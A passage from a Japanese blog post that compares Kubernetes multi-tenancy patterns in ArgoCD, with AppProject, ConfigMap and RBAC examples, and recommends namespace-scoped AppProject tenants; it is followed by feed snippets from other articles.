as-a-ServiceClusters as-a-Serviceは、テナントごとに独立したClusterを提供します。ツールとして、AWS EKS、GCP GKE、Azure AKE、Kubeadmなどがあります。Three Tenancy Models For Kubernetes | KubernetesWhat are the three tenancy models for Kubernetes?Control Planes as-a-ServiceControl Planes as-a-Serviceは、テナントごとに独立したコントロールプレーン (言い換えば仮想Cluster) を提供します。ツールとして、Kcp、tensile-kube、vcluster、VirtualClusterなどがあります。Three Tenancy Models For Kubernetes | KubernetesWhat are the three tenancy models for Kubernetes?Namespaces as-a-ServiceNamespaces as-a-Serviceは、テナントごとに独立したNamespaceを提供します。Namespaceを増やすだけなため、ツールは不要です。Three Tenancy Models For Kubernetes | KubernetesWhat are the three tenancy models for Kubernetes?カスタムリソーステナントカスタムリソーステナントは、テナントごとにツール固有の論理空間 (例:ArgoCDのAppProject、CapsuleのTenant、kioskのAccount、KubeZooのTenantなど) を提供します。ツールによっては、X as-a-Service も兼ねている場合があります。今回紹介するAppProjectは、前述の『Namespace as-a-Service』を兼ねています。AppProjectについては、カスタムリソーステナント で解説しています。04. ArgoCDでのテナントパターン実践一覧お待たせしました。ここからは、KubernetesのマルチテナントパターンをArgoCDで具体的に実践し、おすすめのパターン実践を解説していきます。なお、オススメするものを ★ としています。 実Clusterテナント 仮想Clusterテナント Namespaceテナント AppProjectテナントCLモード AppProjectテナントNSモード 対応するテナントパターン Clustersas-a-Service Control Planesas-a-Service Namespacesas-a-Service カスタムリソーステナント ArgoCDがテナント間で占有 / 共有 占有 占有 占有 共有 占有 テナント間でKubernetesリソースを分離できるか Namespacedスコープリソース ✅ ✅ ✅ ✅ ✅ Clusterスコープリソース ✅ ✅ オススメ ★ ★★ How many do you need? Argo CD Architectures Explained - 2024 Update | Akuity以降の図の凡例です。ArgoCDの各コンポーネント (application-controller、argocd-server、dex-server、repo-server) と各リソース (Application、AppProject) を区別しています。04-02. Clusters as-a-Service 実践実Clusterテナント実Clusterテナントは、Clusters as-a-Serviceなテナントの実践であり、実際のClusterをテナントの単位とします。後述の仮想Clusterと対比させるために、\\"実Cluster\\" と呼ぶことにします。各プロダクトチームは、実Clusterテナント内のApplicationを操作し、正しいプロダクト用Clusterにマニフェストをデプロイします。オススメしない理由実Clusterテナントには、以下のメリデメがあります。デメリットの回避策も考慮して、独断と偏見でオススメしませんでした。半年以内にアップグレードしないとサポートが切れるKubernetesクラスターが33個もあって、泣いちゃった— 長谷川 広樹 (俺です) (@Hiroki__IT) January 18, 2023 アーキテクチャ特性 メリット ⭕️ デメリット \xd7 デメリットの回避策 拡張性 - テナントを増やすために実Clusterを用意する必要があり、作業量が多い。 ➡︎ IaCツールで実Clusterを用意するようにすれば作業量を減らせるが、やっぱりとてもつらい\uD83D\uDE2D 安全性(セキュリティ) ClusterからClusterへの名前解決を不可能にすれば、他のテナントからの通信を遮断できる。 - ➡︎ - 保守性 ClusterスコープまたはNamespacedスコープなKubernetesリソースを他のテナントから分離できる。これらのKubernetesリソース (特にCRD) の変更が他のテナントに影響しない。 各テナントが、個別に実Clusterを保守しないといけない。(例:アップグレード、機能修正など) ➡︎ 回避できず、とてもつらい\uD83D\uDE2D 性能 Clusterのハードウェアリソースを他のテナントと奪い合うことなく、これを独占できる。 - ➡︎ - 信頼性 テナントごとに実Clusterが独立しており、他の実Clusterから障害の影響を受けない。 - ➡︎ - 04-03. Control Planes as-a-Service 実践仮想Clusterテナント - ★仮想Clusterテナントは、Control Planes as-a-Serviceなテナントの実践であり、仮想Clusterをテナントの単位とします。各プロダクトチームは、仮想Clusterテナント内のApplicationを操作し、正しいプロダクト用Clusterにマニフェストをデプロイします。Using Argo CD with vclusters. Managing deployment to multiple… | by Daniel Helfand | Argo Projectオススメした理由仮想Clusterテナントには、以下のメリデメがあります。デメリットの回避策も考慮して、独断と偏見で オススメ しました。 アーキテクチャ特性 メリット ⭕️ デメリット \xd7 デメリットの回避策 拡張性 テナントを増やすためにマニフェストで定義した仮想Clusterを用意するだけでよく、実Clusterを用意することと比べて作業量が少ない。 - ➡︎ - 安全性(セキュリティ) 仮想ClusterからホストClusterへの名前解決を不可能にすれば、他のテナントからの通信を遮断できる。 - ➡︎ - 保守性 ClusterスコープまたはNamespacedスコープなKubernetesリソースを他のテナントから分離できる。これらのKubernetesリソース (特にCRD) の変更が他のテナントに影響しない。 各テナントが、個別に仮想Clusterを保守しないといけない。(例:アップグレード、機能修正など) ➡︎ 仮想Clusterに関する知見を持つ組織であれば、各テナントで保守できる。 性能 - Clusterのハードウェアリソースを他のテナントと奪い合うことになる。 ➡︎ 多くの利用者が同時並行的にArgoCDを操作する状況になりにくければ、奪い合いも起こらない。 信頼性 テナントごとに仮想Clusterが独立しており、他の仮想Clusterから障害の影響を受けない。 - ➡︎ - 04-04. Namespaces as-a-Service 実践Namespaceテナントは、Namespaces as-a-Serviceなテナントの実践であり、Namespaceをテナントの単位とします。後述の AppProjectテナント は二重のテナントを持ち、Namespaceテナントも兼ねています。そのため、ここではNamespaceテナントの解説は省略します。04-05. カスタムリソーステナントの実践AppProjectテナントAppProjectテナントは、カスタムリソーステナントの実践であり、NamespaceとAppProjectをテナントの単位とします。AppProjectテナントは、二重のテナント (第一テナントにNamespace、第二テナントに複数のAppProject) を持ち、\\"あらゆる面から\\" マニフェストのデプロイを制限します。特に、AppProjectはNamespaceスコープなカスタムリソースであり、自身に所属するApplicationを一括して制限します。apiVersion: argoproj.io/v1alpha1kind: AppProjectmetadata: name: foo-tenant namespace: foo # 自身に所属するApplicationを制限するspec: ...apiVersion: argoproj.io/v1alpha1kind: Applicationmetadata: name: infra-application namespace: foospec: # foo-tenantに所属する project: foo-tenant ...Argo CD in Practice: The GitOps way of managing cloud-native applications (English Edition)Projects - Argo CD - Declarative GitOps CD for Kubernetes▶ カスタムリソースの仕様について.spec.scopeキーからも分かる通り、AppProjectはNamespacedスコープなカスタムリソースであり、任意のNamespaceを設定できます\uD83D\uDC4DapiVersion: apiextensions.k8s.io/v1kind: CustomResourceDefinitionmetadata: labels: app.kubernetes.io/name: appprojects.argoproj.io app.kubernetes.io/part-of: argocd name: appprojects.argoproj.iospec: group: argoproj.io names: kind: AppProject ... # Namespacedスコープなカスタムリソースであるとわかる scope: Namespaced... argo-cd/manifests/crds/appproject-crd.yaml at master \xb7 argoproj/argo-cd \xb7 GitHubExtend the Kubernetes API with CustomResourceDefinitions | KubernetesCLモード vs. NSモードArgoCDには、Clusterスコープモード と Namespacedスコープモード (以降、\\"CLモード\\" と \\"NSモード\\") があります。スコープモードに応じて、AppProjectテナントの設計方法が異なります。本章では、CLモードとNSモードの両方でAppProjectテナントを解説していきます。Applications in any namespace - Argo CD - Declarative GitOps CD for Kubernetes05. CLモードなArgoCDCLモードなArgoCDとはCLモードなArgoCDの場合、各テナント間で共有のArgoCDを管理します例えば、AppProjectテナントとして、プロダクト別のNamespace (foo、bar、baz) とAppProject (foo、bar、baz) を用意します。別途、ArgoCD専用のNamespace (argocd) を用意し、ここに関連するKubernetesリソース (例:ConfigMap) を配置します。各プロダクトチームは、AppProjectテナント内のApplicationを操作し、正しいプロダクト用Clusterにマニフェストをデプロイします。Applications in any namespace - Argo CD - Declarative GitOps CD for KubernetesArgoCD: Multi-tenancy strategy. Introduction | by Geoffrey | MediumAppProjectNSモードと同様にして、AppProjectに所属するApplicationによるマニフェストのデプロイを制限できます。例えば、以下のような実装になります。apiVersion: argoproj.io/v1alpha1kind: AppProjectmetadata: name: foo-tenant namespace: foospec: destinations: # ArgoCD用Clusterに関する認可を設定する # App Of Appsパターンの場合に使用する - namespace: foo server: \\"https://kubernetes.default.svc\\" # プロダクト用Clusterに関する認可を設定する - namespace: \\"*\\" server: https://foo-cluster.gr7.ap-northeast-1.eks.amazonaws.com # CLモードでは設定が必要である sourceNamespaces: - fooApplicationを操作するログインユーザーが、無認可のNamespaceやClusterをデプロイ先に指定できないように、.spec.destinationキーで制限しています。一方で後述のNSモードとは異なり、CLモードなArgoCDは任意のNamespaceのApplicationにアクセスできます。そのため、.spec.sourceNamespacesキーで、特定のNamespaceのApplicationがこのAppProjectに所属できないように、ApplicationのNamespaceを制限しています。Applications in any namespace - Argo CD - Declarative GitOps CD for KubernetesProjects - Argo CD - Declarative GitOps CD for KubernetesArgoCDコンポーネント用ConfigMap (argocd-cmd-params-cm)NSモードと同様にして、argocd-cmd-params-cmでは、ArgoCDの各コンポーネントのコンテナの引数を設定できます。例えば、以下のような実装になります。apiVersion: v1kind: ConfigMapmetadata: name: argocd-cmd-params-cm # 専用のNamespaceを設定する namespace: argocddata: # CLモードでは設定が必要である # 全てのNamespaceを指定したい場合は、ワイルドカードを設定する application.namespaces: \\"*\\".application.namespacesキーは、argocd-serverとapplication-controllerの--application-namespacesオプションに相当します。一方での後述のNSモードとは異なり、CLモードなArgoCDは任意のNamespaceのApplicationにアクセスできます。--application-namespacesオプションで、任意のNamespaceにアクセスするための認可を設定できます。Applications in any namespace - Argo CD - Declarative GitOps CD for Kubernetes▶ --application-namespacesオプションの設定方法についてargocd-cmd-params-cmの代わりに、例えば以下のようにPodに引数を直接渡しても良いです\uD83D\uDE46\uD83C\uDFFB‍例えば、以下のような実装になります。apiVersion: v1kind: Podmetadata: name: argocd-server namespace: argocdspec: containers: - name: argocd-server image: quay.io/argoproj/argocd:latest args: - /usr/local/bin/argocd-server # コンテナ起動時の引数として - --application-namespaces=\\"*\\" ...apiVersion: v1kind: Podmetadata: name: argocd-application-controller namespace: argocdspec: containers: - name: argocd-application-controller image: quay.io/argoproj/argocd:latest args: - /usr/local/bin/argocd-application-controller # コンテナ起動時の引数として - --application-namespaces=\\"*\\" ... `argocd-application-controller` Command Reference - Argo CD - Declarative GitOps CD for Kubernetes`argocd-server` Command Reference - Argo CD - Declarative GitOps CD for Kubernetesログインユーザー用ConfigMap (argocd-rbac-cm)NSモードと同様にして、argocd-rbac-cmでは、Applicationを操作するログインユーザーが、無認可のAppProjectやNamespaceに所属するApplicationを操作できないように制限します。例えば、以下のような実装になります。apiVersion: v1kind: ConfigMapmetadata: name: argocd-rbac-cm # 専用のNamespaceを設定する namespace: argocddata: # デフォルトのロール # @see https://github.com/argoproj/argo-cd/blob/master/assets/builtin-policy.csv#L9-L16 policy.default: role:readonly policy.csv: | p, role:foo, *, *, foo/*/*, allow p, role:bar, *, *, bar/*/*, allow p, role:baz, *, *, baz/*/*, allow g, foo-team, role:foo g, bar-team, role:bar g, baz-team, role:baz scopes: \\"[groups]\\"認証済みグループ (foo-team、bar-team、baz-team) に対して、無認可のAppProject (foo、bar、baz) に所属するApplicationを操作できないように、認可スコープを制限しています。▶ AppProjectの認可定義の記法についてCasbin の記法を使用します。今回の実装例で使用したp (パーミッション) とg (グループ) では、以下を記法を使用できます\uD83D\uDC4DapiVersion: v1kind: ConfigMapmetadata: name: argocd-rbac-cm namespace: argocddata: policy.default: role:readonly policy.csv: | # ロールとArgoCD系カスタムリソースの認可スコープを定義する p, role:<ロール名>, , <アクション名>, //, <許否> # 認証済みグループにロールを紐付ける g, <グループ名>, role:<ロール名> scopes: \\"[groups]\\"RBAC Configuration - Argo CD - Declarative GitOps CD for Kubernetesオススメしない理由CLモードなArgoCDのAppProjectテナントには、以下のメリデメがあります。デメリットの回避策も考慮して、独断と偏見でオススメしませんでした。 アーキテクチャ特性 メリット ⭕️ デメリット \xd7 デメリットの回避策 拡張性 テナントを増やすためにNamespaceとAppProjectを用意するだけでよく、作業量が少ない。 - ➡︎ - 安全性(セキュリティ) NetworkPolicyでNamespace間の名前解決を不可能にすれば、他のNamespaceからの通信を遮断できる。 - ➡︎ - 保守性 ArgoCD用Clusterの管理者が単一のClusterを保守すればよい。(例:アップグレード、機能修正など) AppProjectはNamespacedスコープなカスタムリソースのため、ClusterスコープなKubernetesリソースを他のテナントと共有しないといけない。そのため、ClusterスコープなKubernetesリソース (特にCRD) の変更は全てのテナントに影響する。 ➡︎ ArgoCDのアップグレード時 (CRDの変更時) は、ついでにKubernetesもアップグレードしたい。新しいClusterを別に作成し、そこで新ArgoCDを作成すれば一石二鳥である。 性能 - Clusterのハードウェアリソースを他のテナントと奪い合うことになる。 ➡︎ 多くの利用者が同時並行的にArgoCDを操作する状況になりにくければ、奪い合いも起こらない。 信頼性 - ClusterまたはArgoCDで障害が起こると、これは全てのテナントに影響する。 ➡︎ 代わりにNodeやArgoCDを十分に冗長化して可用性を高めれば、影響を緩和できる。ただ、そもそもの影響範囲が大きすぎる\uD83D\uDE2D 05-02. NSモードなArgoCD - ★★NSモードなArgoCDとはNSモードなArgoCDの場合、前述のCLモードとは異なり、各AppProjectテナント間でArgoCDを占有します。例えば、AppProjectテナントとして、プロダクト別のNamespace (foo、bar、baz) とAppProject (foo、bar、baz) を用意します。各AppProjectテナントに、ArgoCDと関連するKubernetesリソース (例:ConfigMap) を配置します。各プロダクトチームは、AppProjectテナント内のApplicationを操作し、正しいプロダクト用Clusterにマニフェストをデプロイします。Applications in any namespace - Argo CD - Declarative GitOps CD for KubernetesAppProjectCLモードと同様にして、AppProjectに所属するApplicationによるマニフェストのデプロイを制限できます。例えば、以下のような実装になります。apiVersion: argoproj.io/v1alpha1kind: AppProjectmetadata: name: foo-tenant namespace: foospec: destinations: # ArgoCD用Clusterに関する認可を設定する # App Of Appsパターンの場合に使用する - namespace: foo server: \\"https://kubernetes.default.svc\\" # プロダクト用Clusterに関する認可を設定する - namespace: \\"*\\" server: https://foo-cluster.gr7.ap-northeast-1.eks.amazonaws.com# NSモードでは設定が不要である# sourceNamespaces:# - fooApplicationを操作するログインユーザーが、無認可のNamespaceやClusterをデプロイ先に指定できないように、.spec.destinationキーで制限しています。前述のCLモードとは異なり、NSモードなArgoCDは自身が所属するNamespaceのApplicationのみにアクセスできます。そのため、.spec.sourceNamespacesキーでマニフェストのデプロイを制限する必要はありません。Applications in any namespace - Argo CD - Declarative GitOps CD for KubernetesProjects - Argo CD - Declarative GitOps CD for KubernetesArgoCDコンポーネント用ConfigMap (argocd-cmd-params-cm)CLモードと同様にして、argocd-cmd-params-cmでは、ArgoCDの各コンポーネントのコンテナの引数を設定できます。例えば、以下のような実装になります。apiVersion: v1kind: ConfigMapmetadata: name: argocd-cmd-params-cm namespace: foodata:# NSモードでは設定が不要である# application.namespaces: \\"*\\"前述の通り、.application.namespacesキーは、argocd-serverとapplication-controllerの--application-namespacesオプションに相当します。前述のCLモードとは異なり、NSモードなArgoCDは自身が所属するNamespaceのApplicationのみにアクセスできますそのため、.application.namespacesキーでNamespaceに関する認可を設定する必要はありませんもちろん、Podのコンテナ引数にも設定は不要です。Applications in any namespace - Argo CD - Declarative GitOps CD for Kubernetesログインユーザー用ConfigMap (argocd-rbac-cm)CLモードと同様にして、argocd-rbac-cmでは、Applicationを操作するログインユーザーが、無認可のAppProjectやNamespaceに所属するApplicationを操作できないように制限します。例えば、以下のような実装になります。apiVersion: v1kind: ConfigMapmetadata: name: argocd-rbac-cm namespace: foodata: # デフォルトのロール # @see https://github.com/argoproj/argo-cd/blob/master/assets/builtin-policy.csv#L9-L16 policy.default: role:readonly policy.csv: | p, role:app, *, *, app/*/*, allow p, role:infra, *, *, infra/*/*, allow g, app-team, role:app g, infra-team, role:infra scopes: \\"[groups]\\"認証済みグループ (app-team、infra-team) に対して、無認可のAppProject (app、infra) に所属するApplicationを操作できないように、認可スコープを制限しています。特にオススメした理由NSモードなArgoCDのAppProjectテナントには、以下のメリデメがあります。デメリットの回避策も考慮して、独断と偏見で 特にオススメ しました。 アーキテクチャ特性 メリット ⭕️ デメリット \xd7 デメリットの回避策 拡張性 テナントを増やすためにNamespaceとAppProjectを用意するだけでよく、作業量が少ない。 - ➡︎ - 安全性(セキュリティ) NetworkPolicyでNamespace間の名前解決を不可能にすれば、他のNamespaceからの通信を遮断できる。 - ➡︎ - 保守性 単一のClusterを保守すればよい。(例:アップグレード、機能修正など) AppProjectはNamespacedスコープなカスタムリソースのため、ClusterスコープなKubernetesリソースを他のテナントと共有しないといけない。そのため、ClusterスコープなKubernetesリソース (特にCRD) の変更は全てのテナントに影響する。 ➡︎ ArgoCDのアップグレード時 (CRDの変更時) は、ついでにKubernetesもアップグレードしたい。新しいClusterを別に作成し、そこで新ArgoCDを作成すれば一石二鳥である。 性能 - Clusterのハードウェアリソースを他のテナントと奪い合うことになる。 ➡︎ 多くの利用者が同時並行的にArgoCDを操作する状況になりにくければ、奪い合いも起こらない。 信頼性 テナントごとにArgoCDを占有しており、他のArgoCDから障害の影響を受けない。 Clusterで障害が起こると、これは全てのテナントに影響する。 ➡︎ 代わりに、Nodeを十分に冗長化して可用性を高める。いずれかのインスタンスで障害が起こっても、正常なインスタンスでArgoCDが稼働できる。 AppProjectテナント例の一覧NSモードなArgoCDを採用する場合、AppProjectテナント例を解説していきます。前述の通り、AppProjectテナントが二重テナント (第一テナントにNamespace、第二テナントに複数のAppProject) を持つことに留意してください。なお、オススメするものを ★ としています。 テナント例(二重テナント) オススメ Namespace(第一テナント) AppProject(第二テナント) テナント例1 プロダクトの実行環境別 プロダクトの実行環境別 テナント例2 プロダクト別 プロダクトの実行環境別 ★ テナント例3 プロダクト別 プロダクトのサブチーム別 ★★ ▶ Namespaceの分割パターンについて\\"管理チーム別\\" (今回でいうプロダクト別) というNamespaceの分割パターンは、様々な著名な書籍やブログで紹介されています\uD83D\uDC40 https://www.amazon.co.jp/dp/1617293725Kubernetes best practices: Specifying Namespaces in YAML | Google Cloud Blogテナント例1Namespace (プロダクトの実行環境別)、AppProject (プロダクトの実行環境別)プロダクトの実行環境 (Dev環境、Tes環境) 別に管理されたClusterがいる状況と仮定します。この場合に、プロダクトの実行環境別にNamespace (dev、tes) とAppProject (dev、tes) を用意します。オススメしなかった理由テナント例1には、以下のメリデメがあります。独断と偏見でオススメしませんでした。 アーキテクチャ特性 メリット ⭕️ デメリット \xd7 デメリットの回避策 拡張性 - ArgoCDのPod数が多くなり、将来的にNode当たりのPodやIPアドレスの上限数にひっかかりやすい。その時点で、AppProjectテナントの増やせなくなる。 ➡︎ 例えばAWS EKSの場合、Node数を増やしたり、Nodeのスペックを上げる。ただ、お金がかかる\uD83D\uDE2D 安全性(セキュリティ) ログインユーザー用ConfigMap (argocd-rbac-cm) を使用すれば、無認可の実行環境別AppProjectに所属するApplicationを操作できないように制限できる。 - ➡︎ - 保守性 異なる実行環境に関するApplicationが共存しておらず、別のargocd-serverから操作することになるため、実行環境間の選択ミスが起こりにくい。 - ➡︎ - テナント例2 - ★Namespace (プロダクト別)、AppProject (プロダクトの実行環境別)プロダクトの実行環境 (Dev環境、Tes環境) 別に管理されたClusterがいる状況と仮定します。プロダクト別にNamespace (foo、bar) 、プロダクトの実行環境別にAppProject (dev、tes) を用意します。オススメした理由テナント例2には、以下のメリデメがあります。独断と偏見で オススメ しました。 アーキテクチャ特性 メリット ⭕️ デメリット \xd7 デメリットの回避策 拡張性 ArgoCDのPod数が多くなり、将来的にNode当たりのPodやIPアドレスの上限数にひっかかりにくい。 - ➡︎ - 安全性(セキュリティ) ログインユーザー用ConfigMap (argocd-rbac-cm) を使用すれば、無認可の実行環境別AppProjectを操作できないように制限できる。 - ➡︎ - 保守性 - 異なる実行環境に関するApplicationが共存しており、同じargocd-server (ダッシュボード) から操作することになるため、実行環境間の選択ミスが起こりやすい。 ➡︎ ダッシュボードにはApplicationのフィルタリング機能があるため、選択ミスを回避できる。 テナント例3 - ★★Namespace (プロダクト別)、AppProject (プロダクトのサブチーム別)プロダクトの実行環境 (Dev環境、Tes環境) 別に管理されたClusterがいる状況と仮定します。プロダクト別にNamespace (foo、bar) 、プロダクトのサブチーム別にAppProject (app、infra) を用意します。特にオススメした理由テナント例3には、以下のメリデメがあります。独断と偏見で 特にオススメ しました。 アーキテクチャ特性 メリット ⭕️ デメリット \xd7 デメリットの回避策 拡張性 ArgoCDのPod数が多くなり、将来的にNode当たりのPodやIPアドレスの上限数にひっかかりにくい。 - ➡︎ - 安全性(セキュリティ) ログインユーザー用ConfigMap (argocd-rbac-cm) を使用すれば、無認可のサブチーム別AppProjectに所属するApplicationを操作できないように制限できる。 - ➡︎ - 保守性 - 異なる実行環境に関するApplicationが共存しており、同じargocd-server (ダッシュボード) から操作することになるため、実行環境間の選択ミスが起こりやすい。 ➡︎ ダッシュボードにはApplicationのフィルタリング機能があるため、選択ミスを回避できる。 06. どのような誤った操作を防いでくれるのかそろそろ解説を読むのがしんどい方がいるのではないでしょうか。『君がッ、泣くまで、解説をやめないッ!』AppProjectテナントとNamespacedスコープモードがマニフェストのデプロイをどのように制限するのかについて、例を挙げて解説します。ここでは、以下のAppProjectを作成したと仮定します。AppProjectテナントが二重テナント (第一テナントにNamespace、第二テナントに複数のAppProject) を持つことに留意してください。apiVersion: argoproj.io/v1alpha1kind: AppProjectmetadata: # appチーム name: app namespace: foospec: destinations: # ArgoCD用Clusterに関する認可を設定する # Namespace (foo) へのデプロイを許可する - namespace: foo server: \\"https://kubernetes.default.svc\\" # プロダクト用Clusterに関する認可を設定する # Namespace (app) へのデプロイを許可する - namespace: app server: https://foo-cluster.gr7.ap-northeast-1.eks.amazonaws.comapiVersion: argoproj.io/v1alpha1kind: AppProjectmetadata: # infraチーム name: infra namespace: foospec: destinations: # ArgoCD用Clusterに関する認可を設定する # Namespace (foo) へのデプロイを許可する - namespace: foo server: \\"https://kubernetes.default.svc\\" # プロダクト用Clusterに関する認可を設定する # Namespace (infra) へのデプロイを許可する - namespace: infra server: https://foo-cluster.gr7.ap-northeast-1.eks.amazonaws.comマニフェストのデプロイ制限プロダクトの実行環境 (Dev環境、Tes環境) 別に管理されたClusterがいる状況と仮定します。プロダクト別にNamespace (foo) 、プロダクトのサブチーム別にAppProject (app、infra) を用意します。AppProjectテナントは、例えば 赤線 の方法で、マニフェストのデプロイを制限します。マニフェストをデプロイできる場合マニフェストを正しくデプロイする場合、AppProjectテナントはこれを制限しません。(1) argocd-serverは、argocd-cmd-params-cmからアクセスできるNamespaceを取得します。apiVersion: v1kind: ConfigMapmetadata: name: argocd-cmd-params-cm namespace: foodata:# 設定しないことで、argocd-serverは同じNamespaceにしかアクセスできなくなる。# application.namespaces: \\"*\\"(2) fooプロダクトのinfraチームが、argocd-serverを操作します。(3) argocd-serverは、argocd-rbac-cmからApplication操作に関する認可スコープを取得しますapiVersion: v1kind: ConfigMapmetadata: name: argocd-rbac-cm namespace: foodata: policy.default: role:readonly policy.csv: | p, role:app, *, *, app/*/*, allow p, role:infra, *, *, infra/*/*, allow g, app-team, role:app g, infra-team, role:infra scopes: \\"[groups]\\"(4) infraチームは、認可されたAppProjectに所属するApplicationを操作します。(5) infraチームは、Dev環境のfooプロダクト用ClusterのNamespace (infra) にマニフェストをデプロイできます。(\uD83D\uDEAB制限例1) 無認可のNamespaceでApplicationを作成しようとした場合例えば、fooプロダクトのinfraチームが無認可のNamespace (bar) でApplicationを作成しようとします。すると、argocd-serverは以下のようなエラーを返却し、この操作を制限します。namespace bar is not permitted in project \'infra-team\'無認可のNamespaceでApplicationを作れてしまうと、そのApplicationから無認可のプロダクト用Clusterにマニフェストをデプロイできてしまいます\uD83D\uDE08argo-cd/test/e2e/app_management_ns_test.go at v2.7.10 \xb7 argoproj/argo-cd \xb7 GitHub(\uD83D\uDEAB制限例2) 無認可のAppProjectでApplicationを作成しようとした場合例えば、fooプロダクトのinfraチームが、無認可のAppProject (app) でApplicationを作成しようとします。すると、argocd-serverは以下のようなエラーを返却し、この操作を制限します。Application referencing project \'app\' which does not exist任意のAppProjectでApplicationを作成できてしまうと、そのApplicationから無認可のプロダクト用Clusterにマニフェストをデプロイできてしまいます\uD83D\uDE08(\uD83D\uDEAB制限例3) 無認可のClusterをデプロイ先に指定しようとした場合例えば、fooプロダクトのinfraチームがApplicationを操作し、無認可のプロダクト用Cluster (bar-cluster) をデプロイ先として指定しようします。すると、argocd-serverは以下のようなエラーを返却し、この操作を制限します。application destination{https://bar-cluster.gr7.ap-northeast-1.eks.amazonaws.com infra} is not permitted in project \'infra-team\'任意のClusterをデプロイ先に指定できてしまうと、Applicationから無認可のプロダクト用Clusterにマニフェストをデプロイできてしまいます\uD83D\uDE08argo-cd/util/argo/argo_test.go at v2.7.10 \xb7 argoproj/argo-cd \xb7 GitHub(\uD83D\uDEAB制限例4) 無認可のNamespaceをデプロイ先に指定しようとした場合例えば、fooプロダクトのinfraチームがApplicationを操作し、無認可のNamespace (app) をデプロイ先に指定しようします。すると、argocd-serverは以下のようなエラーを返却し、この操作を制限します。application destination{https://foo-cluster.gr7.ap-northeast-1.eks.amazonaws.com app} is not permitted in project \'infra-team\'任意のNamespaceをデプロイ先に指定できてしまうと、そのApplicationから無認可のNamespaceにマニフェストをデプロイできてしまいます\uD83D\uDE08argo-cd/util/argo/argo_test.go at v2.7.10 \xb7 argoproj/argo-cd \xb7 GitHub▶ AppProjectで設定できる認可の種類についてargocd-serverとapplication-controllerでデプロイできるKubernetesリソースの種類 (.spec.clusterResourceWhitelistキー、.spec.namespaceResourceWhitelistキーなど)repo-serverでポーリングできるリポジトリ (.spec.sourceReposキー)apiVersion: argoproj.io/v1alpha1kind: AppProjectmetadata: name: foo-tenant namespace: foospec: clusterResourceWhitelist: - group: \\"*\\" kind: \\"*\\" namespaceResourceWhitelist: - group: \\"*\\" kind: \\"*\\" sourceRepos: - \\"*\\" ...\\"AppProjectテナントによるマニフェストのデプロイ丸ごとの制限\\" という観点でテーマが異なるため、本記事では言及しませんでした\uD83D\uDE47\uD83C\uDFFB‍ Projects - Argo CD - Declarative GitOps CD for KubernetesDeclarative Setup - Argo CD - Declarative GitOps CD for KubernetesカスタムリソースのReconciliation制限プロダクトの実行環境 (Dev環境、Tes環境) 別に管理されたClusterがいる状況と仮定します。プロダクト別にNamespace (foo) 、プロダクトのサブチーム別にAppProject (app、infra) を用意します。AppProjectテナントは、例えば 赤線 の方法で、ArgoCD系カスタムリソースに対するapplication-controllerのReconciliationを制限します。ArgoCD系カスタムリソースをReconciliationできる場合正しいNamespaceに対してReconciliationを実行する場合、AppProjectテナントはこれを制限しません。(1) application-controllerは、argocd-cmd-params-cmから自身がアクセスできるNamespaceを取得します。apiVersion: v1kind: ConfigMapmetadata: name: argocd-cmd-params-cm namespace: foodata:# 設定しないことで、application-controllerは同じNamespaceにしかアクセスできなくなる。# application.namespaces: \\"*\\"(2) application-controllerは、同じNamespaceに所属するArgoCD系カスタムリソースに対して、Reconciliationを実行します。(\uD83D\uDEAB制限例1) 無認可のNamespaceにReconciliationを実行しようとした場合例えば、application-controllerがReconciliationの対象とするNamespaceを選ぼうとしているとします。すると、application-controllerは内部で検証メソッドを実行し、無認可のNamespace (bar) は選ばないようにします。argo-cd/controller/appcontroller_test.go at v2.7.10 \xb7 argoproj/argo-cd \xb7 GitHub07. おわりにKubernetesのマルチテナントパターンとArgoCDでのパターン実践をもりもり布教しました。あらゆる面からマニフェストのデプロイを制限してくれる、AppProjectテナントの素晴らしさが伝わりましたでしょうか。KubernetesのマルチテナントパターンをArgoCDでどう実践するべきか、について困っている方の助けになれば幸いです\uD83D\uDC4D謝辞本記事のタイトルは、私が崇拝しているドメイン駆動設計の書籍 \\"実践ドメイン駆動設計\\" から拝借しました\uD83D\uDE4Fまた、ArgoCDでのパターン実践の収集にあたり、以下の方からの意見も参考にさせていただきました。@toversus26 さんこの場で感謝申し上げます\uD83D\uDE47\uD83C\uDFFB‍記事関連のおすすめ書籍GitOps Cookbook: Kubernetes Automation in Practice (English Edition)作者:Vinto, Natale,Bueno, Alex SotoO\'Reilly MediaAmazonGitOps and Kubernetes: Continuous Deployment with Argo CD, Jenkins X, and Flux作者:Yuen, Billy,Matyushentsev, Alexander,Ekenstam, Todd,Suen, JesseManning PublicationsAmazon","link":"https://hiroki-hasegawa.hatenablog.jp/entry/2023/08/18/110646","isoDate":"2023-08-18T02:06:46.000Z","dateMiliSeconds":1692324406000,"authorName":"長谷川 広樹","authorId":"hiroki-hasegawa"},{"title":"kubernetesのマニフェスト管理 比較検討(Helm/Kustomize)","contentSnippet":"はじめに実務において、kubernetesのマニフェスト作成(管理)の方法としてHelm or Kustomizeという選択肢がとられている。ここでは、クライアント組織への導入したときの話をしたいと思う。クライアント組織の要求事項と特性を整理した上で、どちら(または同時使用)が適切か判断するための調査を行うHelm : https://helm.sh/Kustomize : https://kustomize.io/ TL;DR個人的にはHelmの使用を推奨したいアプリケーション / インフラ / SREと多くのレイヤーの人が関わる組織統制を考慮したときに、...","link":"https://zenn.dev/yokoo_an209/articles/6d23ee506bc007","isoDate":"2023-08-17T13:15:01.000Z","dateMiliSeconds":1692278101000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"YugabyteDBのドキュメントを全部読む Day5","contentSnippet":"前回からつづいてYugabyteDBのドキュメントを読んでいきます。前回はArchitecture > Key Concepts > YB-Master serviceを読みました。今回はArchitecture > Core functions > Universe creationを読みます。ドキュメントのバージョンは最新のv2.19 previewです。また画像は同ドキュメントより引用しています。Universe creationYugabyteDBのユニバース作成は複数のステップを含む。Start YB-MastersYBユニバース作成の最初のステップはレプリケーションファクターで指定された数だけYB-Masterを作成することである。作成されたYB-Masterはそれぞれを認識している。YB-Masterはユニバース内でユニークなID(UUID)をそれぞれに割り当て、それぞれを認識しあったあとにリーダーエレクションを実行する。このステップの終りにYB-Masterの中のひとつがリーダーとして確立される。Start 